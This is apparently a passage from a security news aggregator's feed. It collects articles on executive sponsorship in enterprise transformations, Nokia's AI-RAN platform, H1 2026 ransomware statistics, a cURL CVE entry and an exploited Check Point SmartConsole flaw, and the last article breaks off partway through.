<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
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<title><![CDATA[One Country Absorbed Nearly Half of the World’s Ransomware Attacks in Just Six Months – The United States]]></title>
<description><![CDATA[Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from Cyb...]]></description>
<link>https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690767/it-security-nachrichten/one-country-absorbed-nearly-half-of-the-worlds-ransomware-attacks-in-just-six-months-the-united-states/</guid>
<pubDate>Fri, 24 Jul 2026 07:42:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="800" height="533" src="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Ransomware Attacks, Qilin, US, Ransomware Attacks on US" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026.webp 800w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Ransomware-Attacks-on-US_H12026-750x500.webp 750w" sizes="(max-width: 800px) 100vw, 800px" title="One Country Absorbed Nearly Half of the World's Ransomware Attacks in Just Six Months - The United States 1"></p><p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="3:1-3:473;116-588">Strip away the geopolitics, the hacktivist noise, and the espionage headlines, and one number from the first half of 2026 stands out above everything else: 1,721. That's how many ransomware attacks hit organizations in the United States between January and June, according to new research from <a href="https://cyble.com/resources/research-reports/global-threat-landscape-h1-2026/" target="_blank" rel="noopener">Cyble Research and Intelligence Labs</a> (CRIL). It's not just the highest total of any country tracked in the report — it's more than the next nine most-targeted countries combined.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="5:1-5:375;590-964">Canada, in second place worldwide, recorded 179 attacks. Germany logged 155. The United Kingdom, 138. Add up the rest of the global top 10 — France, Italy, Spain, Thailand, India and Brazil — and the total still falls more than 600 attacks short of the U.S. figure alone. Out of 3,836 <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29106">ransomware</a> attacks CRIL tracked worldwide this half, roughly 45% landed on American soil.</p>

<h5 data-sourcepos="5:1-5:375;590-964">Also read: <a href="https://thecyberexpress.com/fairlife-ransomware-attack/">Fairlife Ransomware Attack Hits Production Systems, U.S. Operations Suspended</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="7:1-7:39;966-1004"><strong>A Single Region, an Outsized Share</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="9:1-9:434;1006-1439">Widen the lens slightly and the picture holds. North America as a whole recorded 1,981 ransomware attacks in H1 2026 — more than half of every ransomware incident Cyble observed globally — alongside 35 <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29101">data</a> breach and leak incidents and 9 initial access sale listings. The report describes the region as home to "a mature, persistently active RaaS ecosystem operating at high volume across a wide range of industries and geographies."</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="11:1-11:544;1441-1984">Two ransomware-as-a-service operators did much of the damage. Qilin, the single most prolific gang worldwide, claimed 370 of those North American attacks on its own — nearly 19% of the regional total. Akira followed with 268, and INC Ransom added another 164. Together, Qilin and Akira alone accounted for more than half of all recorded ransomware activity across the region, a level of concentration that points to a small number of highly organized affiliate networks doing the bulk of the damage rather than a diffuse swarm of opportunists.</p>

<h5 data-sourcepos="11:1-11:544;1441-1984">Also read: <a href="https://thecyberexpress.com/qilin-ransomware-group-ttps/">Qilin Ransomware Group’s TTPs Examined by Researchers</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="13:1-13:29;1986-2014"><strong>Where the Pressure Lands</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">Professional Services bore the brunt of North American ransomware activity, with INC Ransom showing a marked preference for law firms and other high-value services with sensitive client data. Construction, Manufacturing and Healthcare followed close behind.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">One operator, AiLock, stood out for a coordinated wave of victim disclosures that all landed on the same day — March 3 — a pattern consistent with a mass-exploitation campaign rather than isolated intrusions. LockBit, despite years of law enforcement pressure and takedown attempts, kept up a steady tempo against public-sector and educational targets throughout the period, showcasing how difficult the group has been to fully dismantle.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">On the <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="29105">data breach</a> side, Technology and financial services (BFSI) were the most frequently targeted sectors in North America, together accounting for roughly 43% of incidents — a reflection of how much intellectual property and monetizable personal data those industries hold.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">Notably, Agriculture &amp; Livestock emerged as a significant target for initial access brokers, accounting for a third of all access listings tied to the region. Cyble flags this as a sign of "growing <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="29103">risk</a> in the food supply chain," an area that has historically drawn less attention from ransomware operators than finance or healthcare.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="19:1-19:421;3334-3754">The initial access market itself was strikingly concentrated: two sellers, tracked under the handles "redpin" and "xpl0itrs," accounted for nearly all listings targeting North American organizations. Threat actors also continued to lean on known and zero-day <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29104">vulnerabilities</a> in widely deployed enterprise platforms — including products from Ivanti and Palo Alto Networks — as their preferred way into corporate networks.</p>

<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="21:1-21:37;3756-3792"><strong>Hacktivism Blurs into Cybercrime</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">North America wasn't spared the <a class="wpil_keyword_link" href="https://cyble.com/hacktivism/" target="_blank" rel="noopener" title="hacktivism" data-wpil-keyword-link="linked" data-wpil-monitor-id="29102">hacktivism</a> wave sweeping the rest of the world either. Collectives including SOLDADOS DIGITALES – UNIÓN AMERICANA and LYSTIC TEAM #ID drove roughly 56 <a class="wpil_keyword_link" href="https://cyble.com/general/data-leak/" target="_blank" rel="noopener" title="data leak" data-wpil-keyword-link="linked" data-wpil-monitor-id="29100">data leak</a> or dump posts and touched about 360 unique domains across the region, with Government, Technology, financial services and telecommunications entities most frequently in the crosshairs.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">Cyble's broader findings suggest many groups marketing themselves as ideologically driven hacktivists are, in practice, running side businesses in stolen data brokerage and DDoS-for-hire services — a blurring of motive that complicates how defenders triage the threat.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">The scale of the U.S. numbers doesn't necessarily mean American companies have weaker defenses than their global peers — the concentration also reflects the sheer size and digital density of the U.S. economy, and its outsized share of the high-value targets ransomware affiliates chase. But the data does argue for a shift in posture.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">Cyble's broader recommendations — treating data exfiltration, not just encryption, as the primary risk; prioritizing patches for the recurring vendor list; and monitoring initial access markets as a leading indicator rather than an afterthought — apply nowhere more urgently than in a country absorbing this much of the world's ransomware volume on its own.</p>]]></content:encoded>
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<title><![CDATA[CVE-2020-19909 | cURL 7.65.2 Retry Delay tool_operate.c integer overflow]]></title>
<description><![CDATA[A vulnerability was found in cURL 7.65.2 and classified as problematic. Affected by this issue is some unknown functionality of the file tool_operate.c of the component Retry Delay Handler. Executing a manipulation can lead to integer overflow.

This vulnerability is handled as CVE-2020-19909. Th...]]></description>
<link>https://tsecurity.de/de/3690448/sicherheitsluecken/cve-2020-19909-curl-7652-retry-delay-tooloperatec-integer-overflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690448/sicherheitsluecken/cve-2020-19909-curl-7652-retry-delay-tooloperatec-integer-overflow/</guid>
<pubDate>Fri, 24 Jul 2026 01:44:09 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/curl">cURL 7.65.2</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected by this issue is some unknown functionality of the file <em>tool_operate.c</em> of the component <em>Retry Delay Handler</em>. Executing a manipulation can lead to integer overflow.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2020-19909">CVE-2020-19909</a>. The attack can only be done within the local network. There is not any exploit available.

There are still doubts about whether this vulnerability truly exists.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Check Point hole grants unauthenticated attackers full SmartConsole admin privileges]]></title>
<description><![CDATA[Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.



In its security alert, C...]]></description>
<link>https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/</guid>
<pubDate>Thu, 23 Jul 2026 22:25:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232" target="_blank" rel="noreferrer noopener">allows unauthenticated attackers</a> to assume full admin privileges, is now being exploited in the wild. The vulnerability, <a href="https://github.com/advisories/ghsa-m2xx-23gx-734v" target="_blank" rel="noreferrer noopener">CVE-2026-16232</a>, was given a CVSS score of 9.3.</p>



<p class="wp-block-paragraph">In its security alert, <a href="https://support.checkpoint.com/results/sk/sk185169/" target="_blank" rel="noreferrer noopener">Check Point described</a> the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”</p>



<p class="wp-block-paragraph">The company has <a href="https://sc1.checkpoint.com/documents/Jumbo_HFA/R82.10/R82.10/R82.10-List-of-all-Resolved-Issues.htm" target="_blank" rel="noreferrer noopener">released a patch</a> for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. <a href="https://www.csoonline.com/article/4195311/check-point-cto-jonathan-zanger-sees-ai-elevating-the-value-of-cyber.html" target="_blank">Check Point</a> said that the exploit has impacted ten of its customers, all of whom it had notified directly.</p>



<h2 class="wp-block-heading">Far worse than most</h2>



<p class="wp-block-paragraph"><a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, said this security hole is far worse than most.</p>



<p class="wp-block-paragraph">“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”</p>



<p class="wp-block-paragraph">In an interview with CSO Online, <a href="https://www.linkedin.com/in/lotem-finkelstein-05797a85/" target="_blank" rel="noreferrer noopener">Lotem Finkelstein</a>, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.</p>



<p class="wp-block-paragraph">But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.</p>



<p class="wp-block-paragraph">The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.</p>



<p class="wp-block-paragraph">Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”</p>



<h2 class="wp-block-heading">Challenges of IP address restrictions</h2>



